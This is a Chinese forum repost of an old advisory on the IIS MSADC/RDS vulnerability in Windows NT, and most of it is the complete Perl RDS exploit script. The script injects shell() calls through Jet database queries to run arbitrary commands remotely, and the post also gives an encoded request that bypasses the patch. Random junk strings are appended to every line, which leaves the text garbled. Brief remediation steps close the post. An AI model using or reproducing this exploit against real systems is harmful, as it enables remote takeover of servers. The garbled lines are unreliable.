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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) z/zUb``  
QT X5F5w  
涉及程序: 1"k"<{%  
Microsoft NT server yxq+<A4,a  
.9X,)^D  
描述: &c<0g`x  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 a?#v,4t^  
wWV`k  
详细: oGz-lO{lt  
如果你没有时间读详细内容的话,就删除: ()L[l@m  
c:\Program Files\Common Files\System\Msadc\msadcs.dll [:Kl0m7  
有关的安全问题就没有了。 Q; DN*  
7 ,Tg>,%Q  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 8!87p?Mz  
R_iQLBrd  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 f4F13n_0X  
关于利用ODBC远程漏洞的描述,请参看: Z6@W)QX  
'r_{T=  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm *h59Vaoc  
{=n-S2%  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ;OjxEXaq  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp x>MrB  
Y>v(UU  
这里不再论述。 bs{i@1$  
.ET@J`"M  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ,CACQhrng  
Y"J' 'K  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset q)S70M_1  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! x;d*?69f]  
UuDs  
[k)xn3[  
#将下面这段保存为txt文件,然后: "perl -x 文件名" $-4OveS~B  
v5J% p4  
#!perl U/2]ACGCN^  
# h>>KH*dQ  
# MSADC/RDS 'usage' (aka exploit) script ]:Y@pZ  
# (.6~t<DRv  
# by rain.forest.puppy a "*DJ&  
# |8,|>EyqK  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me J,@SSmJ`  
# beta test and find errors! "[W${q+0x  
s^:8bFn9$  
use Socket; use Getopt::Std; '~-JR>  
getopts("e:vd:h:XR", \%args); Af'L=0  
p9c`rl_N  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ID+ o6/V8  
r3.A!*!  
if (!defined $args{h} && !defined $args{R}) { M[aF3bbN  
print qq~ 1eiV[z$?  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 3{wr*L1%-~  
-h <host> = host you want to scan (ip or domain) 3Yu1ZuIR  
-d <seconds> = delay between calls, default 1 second )tc"4lp -  
-X = dump Index Server path table, if available _^{!`*S  
-v = verbose p6=L}L  
-e = external dictionary file for step 5 =3KK/[2M  
.9r+LA{  
Or a -R will resume a command session ;IklS*p]  
V5 $J  
~; exit;} <HReh>)[  
j SLC L'  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; y*i_Ec\h  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} %Ot2bhK;  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} IB~`Ht8 b  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); uL`6}0  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} >e F4YZ"  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } \1k(4MWd  
v]`}T/n  
if (!defined $args{R}){ $ret = &has_msadc; VU~ R  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} @y3u'Y,B  
AawK/tfs  
print "Please type the NT commandline you want to run (cmd /c assumed):\n"  U~%V;*|4  
. "cmd /c "; BK,h$z7#6  
$in=<STDIN>; chomp $in; T)QZ9a  
$command="cmd /c " . $in ; 0UV5}/2rP  
rU^?Z  
if (defined $args{R}) {&load; exit;} iR k.t=B  
^;on  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Iud]*5W  
&try_btcustmr; 9wR-0E )  
p8yn? ~]^  
print "\nStep 2: Trying to make our own DSN..."; :wlX`YW+e  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; }o>6 y>=  
|$$gj[+^  
print "\nStep 3: Trying known DSNs..."; ?`& l Y  
&known_dsn; M]\p9p(_  
&.1F \/]k  
print "\nStep 4: Trying known .mdbs..."; ,mpvGvAI  
&known_mdb; =P* YwLb  
\FVm_)  
if (defined $args{e}){ o;.6Y `-fJ  
print "\nStep 5: Trying dictionary of DSN names..."; x6=Yt{  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ;QMRm<CLV  
z:Sr@!DZ  
print "Sorry Charley...maybe next time?\n"; ;4E.Yr*  
exit; /qf2LO'+  
f T7Z6$  
############################################################################## /^#8z(@B  
#2N']VP  
sub sendraw { # ripped and modded from whisker o6{[7jI  
sleep($delay); # it's a DoS on the server! At least on mine... @fDWp/  
my ($pstr)=@_; 0RaE!4)!;  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || z|';Y!kQ  
die("Socket problems\n"); ([Gb]0  
if(connect(S,pack "SnA4x8",2,80,$target)){ [^iQE  
select(S); $|=1; ]{tnNr>mv  
print $pstr; my @in=<S>; RTHe#`t  
select(STDOUT); close(S); ROWb:tX}  
return @in; PS*=MyNa  
} else { die("Can't connect...\n"); }} YMlnC7?_ /  
f:/[  
############################################################################## q7itznQSKc  
sbWen?  
sub make_header { # make the HTTP request BvXA9YQ3  
my $msadc=<<EOT D1Yc_  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 y)`f$Hl@1  
User-Agent: ACTIVEDATA NGA8JV/U  
Host: $ip O26'|w@$  
Content-Length: $clen ]_8bX}_n  
Connection: Keep-Alive u`%Kh_  
(A\X+S(  
ADCClientVersion:01.06 2WKYf0t  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 }|MPQy  
(k{rn3,  
--!ADM!ROX!YOUR!WORLD! Gp0B^^H$  
Content-Type: application/x-varg $:{r#mM  
Content-Length: $reqlen IK:F~I  
4Dd@&N  
EOT p};B*[ki  
; $msadc=~s/\n/\r\n/g; ^A4bsoW  
return $msadc;} ){XaO;k<]  
8T:?C~"  
############################################################################## x.=Np\#\G-  
`s0`kp  
sub make_req { # make the RDS request jFa{h!  
my ($switch, $p1, $p2)=@_; '<Nhq_u{  
my $req=""; my $t1, $t2, $query, $dsn; TFIP>$*_C  
(?9@nS  
if ($switch==1){ # this is the btcustmr.mdb query })I_@\q  
$query="Select * from Customers where City=" . make_shell(); Z6.0X{6nA  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . .?16w`Y  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} XI4le=^EM  
YQ\c0XG  
elsif ($switch==2){ # this is general make table query qDMVZb-(#  
$query="create table AZZ (B int, C varchar(10))"; wt8?@lJ"/  
$dsn="$p1";} 15o<'4|=Lm  
-i,=sZXB  
elsif ($switch==3){ # this is general exploit table query R2]2#3`  
$query="select * from AZZ where C=" . make_shell(); ,Z2fVz~9  
$dsn="$p1";} |)"`v'8>  
q_5hKipd\b  
elsif ($switch==4){ # attempt to hork file info from index server 8'niew 5d  
$query="select path from scope()"; ]c67zyX=%  
$dsn="Provider=MSIDXS;";} my.%zF  
-y@# ^SrJ  
elsif ($switch==5){ # bad query \yQs[l%J  
$query="select"; s{"}!y=]  
$dsn="$p1";} P(n_eIF-f  
Tz PG(f  
$t1= make_unicode($query); 6RA4@bIG  
$t2= make_unicode($dsn);  BZ'63  
$req = "\x02\x00\x03\x00"; xI'sprNa_1  
$req.= "\x08\x00" . pack ("S1", length($t1)); " [Z'n9C  
$req.= "\x00\x00" . $t1 ;  ZQY]c  
$req.= "\x08\x00" . pack ("S1", length($t2)); jcC "S qL  
$req.= "\x00\x00" . $t2 ; .B9i`)0  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; X,ES=J0  
return $req;} ZxDh94w/  
<-Hw@g  
############################################################################## ^V5VRGq  
?}mbp4+j[  
sub make_shell { # this makes the shell() statement M5C%(sQ$  
return "'|shell(\"$command\")|'";} +dw=)A#/  
_J N$zZ{  
############################################################################## y3^>a5z!x  
KtR*/<7IC  
sub make_unicode { # quick little function to convert to unicode KF.d:  
my ($in)=@_; my $out; { Rd){ky@  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } vrGx<0$  
return $out;} w1N-`S:  
UP+4xG  
############################################################################## _e9S"``  
t,v=~LE  
sub rdo_success { # checks for RDO return success (this is kludge) aR c2#:~;  
my (@in) = @_; my $base=content_start(@in); q]^Q?r<g::  
if($in[$base]=~/multipart\/mixed/){ V\2&?#GZ  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} qs Uob   
return 0;} 2k}8`P;  
<,X?+hr  
############################################################################## +~ZFao qf  
oiKY2.yW  
sub make_dsn { # this makes a DSN for us n[`KhRN  
my @drives=("c","d","e","f"); #_U[ T  
print "\nMaking DSN: "; &_Vd  
foreach $drive (@drives) { #P^cR_|\  
print "$drive: "; d[t+iBP;)  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 01br l^5K  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ?h1r6?Sug{  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); f,s1k[w/;  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; dyyGt }}5f  
return 0 if $2 eq "404"; # not found/doesn't exist $bho]~  
if($2 eq "200") { aj\ zc I  
foreach $line (@results) { :wR aB7  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} C"JFN(f  
} return 0;} V=+wsc  
)e|n7|} $  
############################################################################## |PY*"Ul  
o;^k"bo6   
sub verify_exists { =]Vrl-a`^  
my ($page)=@_; 9Z_!}eY2mc  
my @results=sendraw("GET $page HTTP/1.0\n\n"); wV& UB@  
return $results[0];} Q"Ur*/-U  
s6F^z\6  
############################################################################## O"c@x:i  
-h|YS/$f  
sub try_btcustmr { RY\[[eG  
my @drives=("c","d","e","f"); ! ,v!7I  
my @dirs=("winnt","winnt35","winnt351","win","windows"); D( YNa  
qz]g4hS  
foreach $dir (@dirs) { ?_<14%r;  
print "$dir -> "; # fun status so you can see progress U5f<4I  
foreach $drive (@drives) { 'UN 'gXny  
print "$drive: "; # ditto  fcLVE  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; k >aWI  
$reqlenlen=length( "$reqlen" ); ?yq $ >Qba  
$clen= 206 + $reqlenlen + $reqlen; YS|Ve*t(L=  
wFHz<i!jr&  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ta)'z@V@g  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} KgCQ4w9  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} HT@/0MF{J  
0)Wrfa  
############################################################################## /CT g3Q"KQ  
m~x O;_m  
sub odbc_error { 6t0-u~  
my (@in)=@_; my $base; *(pmFEc  
my $base = content_start(@in); X61p xPa  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this fg8"fbG`:  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hZ;[}5T\<S  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %Q2<bj]  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; l^"HcP6  
return $in[$base+4].$in[$base+5].$in[$base+6];} 99]&Xj  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; a{deN9Qn  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Gi9s*v,s  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} D3MRRv#  
<6(&w9WY  
############################################################################## Co%EJb"tk  
nxZ[E.-\  
sub verbose { nTd[-3o  
my ($in)=@_; wFHbz9|@I  
return if !$verbose; rcx'`CIJ  
print STDOUT "\n$in\n";} F\"`^`(O  
yo=0Ov  
############################################################################## x+V@f~2F  
PE7D)!d T  
sub save { fZ6"DJZ  
my ($p1, $p2, $p3, $p4)=@_; 1p%75VW  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Vr1yj  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; P+j5_V{\b  
close OUT;} = "N?v-  
=iEQE  
############################################################################## =SEgv;#KZ~  
@|hn@!YK  
sub load { /ivA[LSS  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; -%g&O-i\  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); UW?(-_8  
@p=<IN>; close(IN); BA 9c-Ay  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 1[&V6=n  
$target= inet_aton($ip) || die("inet_aton problems"); }kK6"]Tj  
print "Resuming to $ip ..."; %x2_njDd  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; #3WKm*T/  
if($p[1]==1) { F=qG +T  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 0zC mU)ng  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; l2lyi  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); TODTR7yGo  
if (rdo_success(@results)){print "Success!\n";} m+ww  
else { print "failed\n"; verbose(odbc_error(@results));}} ; wpX  
elsif ($p[1]==3){ ]?$e Bbt  
if(run_query("$p[3]")){ PAUepO_  
print "Success!\n";} else { print "failed\n"; }} {"x>ewAf  
elsif ($p[1]==4){ &LD=Zp%  
if(run_query($drvst . "$p[3]")){ 9BA*e-[  
print "Success!\n"; } else { print "failed\n"; }} [IgB78_$  
exit;} gq+|Hr  
u#c3T'E  
############################################################################## (> {CwtH][  
MkCq$MA  
sub create_table {  erW[q  
my ($in)=@_; mTsl"A>  
$reqlen=length( make_req(2,$in,"") ) - 28; X-$\DXRIo  
$reqlenlen=length( "$reqlen" ); M ~uX!bDH  
$clen= 206 + $reqlenlen + $reqlen; ?;dfA/  
my @results=sendraw(make_header() . make_req(2,$in,"")); jwe^(U  
return 1 if rdo_success(@results); BnL[C:|  
my $temp= odbc_error(@results); verbose($temp); fZH";_"1  
return 1 if $temp=~/Table 'AZZ' already exists/; k-`5T mW  
return 0;} ZI0C%c.~  
t;?TXAA  
############################################################################## f L}3I(VK  
IB sQaxt.  
sub known_dsn { <:t D m  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go e/{1u$  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ^q$m>|KI  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", :{YOJDtR  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 7Y?=ijXXx\  
1l(_SD;90t  
foreach $dSn (@dsns) { zv%9?:  
print "."; p903 *F^[,  
next if (!is_access("DSN=$dSn")); rpZ^R}B%*v  
if(create_table("DSN=$dSn")){ vj?6,Ae  
print "$dSn successful\n"; B"903 g 1  
if(run_query("DSN=$dSn")){ ]sbj8  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { rz  
print "Something's borked. Use verbose next time\n";}}} print "\n";} b;;C><  
:*`5|'G}  
############################################################################## iLyJ7zby  
C`uZr k/  
sub is_access { h^tU*"   
my ($in)=@_; O!3MXmaO  
$reqlen=length( make_req(5,$in,"") ) - 28; bm &$wf  
$reqlenlen=length( "$reqlen" ); vp4l g1/  
$clen= 206 + $reqlenlen + $reqlen; EEU)eltI  
my @results=sendraw(make_header() . make_req(5,$in,"")); EqN_VT@  
my $temp= odbc_error(@results); RP"YSnF3  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); CPw=?<db  
return 0;} m~LB0u$ac  
tqnvC UIE  
############################################################################## Nan@SuKY  
%`kO\q_  
sub run_query { 7V^\fh5~  
my ($in)=@_; E&}@P0^  
$reqlen=length( make_req(3,$in,"") ) - 28; fO;#;p.  
$reqlenlen=length( "$reqlen" ); 8: x{  
$clen= 206 + $reqlenlen + $reqlen; ': }  
my @results=sendraw(make_header() . make_req(3,$in,"")); KqM!7  
return 1 if rdo_success(@results); Y!+q3`-%T  
my $temp= odbc_error(@results); verbose($temp); UTThl2=+  
return 0;} bR0z$~  
TqZ&X| G  
############################################################################## /IkSgKJiz\  
y5v}EX`m&  
sub known_mdb { RH"&B`  
my @drives=("c","d","e","f","g"); t!u{sr{j=  
my @dirs=("winnt","winnt35","winnt351","win","windows"); FTA[O.tiG  
my $dir, $drive, $mdb; =$^<@-;  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Yw\7`  
k *#fN(_  
# this is sparse, because I don't know of many Wl4T}j  
my @sysmdbs=( "\\catroot\\icatalog.mdb", {|jrYU.k~  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", [xrM){ItW  
"\\system32\\certmdb.mdb", 7wm9S4+|  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% +dt b~M  
R24ZjbKL  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", C8J3^ ?7E  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 3 E~d  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", s*XwU  
"\\cfusion\\cfapps\\security\\realm_.mdb", y*AB=d^  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ^LO`6,   
"\\cfusion\\database\\cfexamples.mdb", "]"!"#aMv  
"\\cfusion\\database\\cfsnippets.mdb", Y?^1=9?6  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ub#>kCL9  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", oI!L2  
"\\cfusion\\brighttiger\\database\\cleam.mdb", `!K!+`Z9  
"\\cfusion\\database\\smpolicy.mdb", ~MgU"P>  
"\\cfusion\\database\cypress.mdb", c<(LXf+61  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", RCS91[  
"\\website\\cgi-win\\dbsample.mdb", Dn}Wsd=  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", "n4' \ig  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" W/U_:^[-  
); #these are just $?dAO}f3O)  
foreach $drive (@drives) { ^J([w~&  
foreach $dir (@dirs){ x+L G4++  
foreach $mdb (@sysmdbs) { CUS^j  
print "."; 8olR#>  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ icX$<lD  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 0Q]p#;  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ nt"8kv  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; #*g.hL<  
} else { print "Something's borked. Use verbose next time\n"; }}}}} y[}O(  
`$X|VAS2  
foreach $drive (@drives) { >/kwy2  
foreach $mdb (@mdbs) { ddR_+B*H  
print "."; A ko}v"d  
if(create_table($drv . $drive . $dir . $mdb)){ dXe. 5XC  
print "\n" . $drive . $dir . $mdb . " successful\n"; +hz^( I7  
if(run_query($drv . $drive . $dir . $mdb)){ h%hE$2  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; L?@ TF;  
} else { print "Something's borked. Use verbose next time\n"; }}}} Dm3/i |Y  
} 4zF|}aiQ  
%7_c|G1  
############################################################################## Se o3a6o  
8\M%\]_  
sub hork_idx { ~/@5&ajz  
print "\nAttempting to dump Index Server tables...\n"; .>(?c92  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; xr2ew%&o  
$reqlen=length( make_req(4,"","") ) - 28; HzO6hb{jJO  
$reqlenlen=length( "$reqlen" ); NZ\aK}?~!  
$clen= 206 + $reqlenlen + $reqlen; Z66b>.<8  
my @results=sendraw2(make_header() . make_req(4,"","")); LE15y>  
if (rdo_success(@results)){ iwHy!Vi-5  
my $max=@results; my $c; my %d; cU y,q]PO  
for($c=19; $c<$max; $c++){ 3X+uJb2  
$results[$c]=~s/\x00//g; bb6 ~H  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; _{EO9s2FG  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; u5f+%!p  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ~YIGOL"?  
$d{"$1$2"}="";} $z7[RLu0!  
foreach $c (keys %d){ print "$c\n"; } C?n3J  
} else {print "Index server doesn't seem to be installed.\n"; }} N*PF&MyB  
z.H*"r  
############################################################################## dVDQ^O&  
K8dlECy  
sub dsn_dict { mx#H+:}&r  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); LE_1H >  
while(<IN>){ (D'Z4Y  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; mm3goIi; Y  
next if (!is_access("DSN=$dSn")); :E|HP#iwu  
if(create_table("DSN=$dSn")){ J&{qe@^  
print "$dSn successful\n"; IJ^KYho  
if(run_query("DSN=$dSn")){ p}KZ#"Q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { w;.'>ORC  
print "Something's borked. Use verbose next time\n";}}} 5Wj+ey^ ^w  
print "\n"; close(IN);} ,L+tm>I  
1#AdEd[  
############################################################################## F|*{Ma  
H_'i.t 'SS  
sub sendraw2 { # ripped and modded from whisker c7j^O P  
sleep($delay); # it's a DoS on the server! At least on mine... S;$@?vF  
my ($pstr)=@_; %/dYSC  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || NyD[9R?  
die("Socket problems\n"); ZdEeY|j  
if(connect(S,pack "SnA4x8",2,80,$target)){ LxkToO{  
print "Connected. Getting data"; %zHNX4  
open(OUT,">raw.out"); my @in; h<.G^c)  
select(S); $|=1; print $pstr; ,\;;1Kq  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} L!E/ )#{  
close(OUT); select(STDOUT); close(S); return @in; >n@?F[Y  
} else { die("Can't connect...\n"); }} %T*lcg  
\4wM8j  
############################################################################## Lj"~6l`)  
sXI_!)H  
sub content_start { # this will take in the server headers rE"`q1b#  
my (@in)=@_; my $c; (Q !4\Gy  
for ($c=1;$c<500;$c++) { >Fm}s,  
if($in[$c] =~/^\x0d\x0a/){ *=L3bBu?  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } aG?ko*A;  
else { return $c+1; }}} Wy%q9x]}  
return -1;} # it should never get here actually 4NL Tt K  
vq *N  
############################################################################## 1)u 3  
$]4^ENkI  
sub funky { XOO!jnQu  
my (@in)=@_; my $error=odbc_error(@in); |,bsMJh0  
if($error=~/ADO could not find the specified provider/){ /-<S FT`  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 0U]wEz*b  
exit;} d$s1l  
if($error=~/A Handler is required/){ WO$PW`k  
print "\nServer has custom handler filters (they most likely are patched)\n"; ;HM& ":7  
exit;} z 8M^TV  
if($error=~/specified Handler has denied Access/){ 6\)61o_1|  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^.,pq?_  
exit;}} |@={:gRJ{x  
I!.o& dk  
############################################################################## AwB ]0H  
[P2$[|IM  
sub has_msadc { Ev IL[\Dy  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); jcQ{,9 H`l  
my $base=content_start(@results); ; A~S){  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ,St#/tu  
return 0;} 7f#[+i  
 ~%_$e/T  
######################## ZAzn-n  
zJ7vAL  
@HJ&"72$<  
解决方案: K8doYN  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll AD =@  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 cjsQm6  
[Rw0']i`4  
拿出来充数 哈哈
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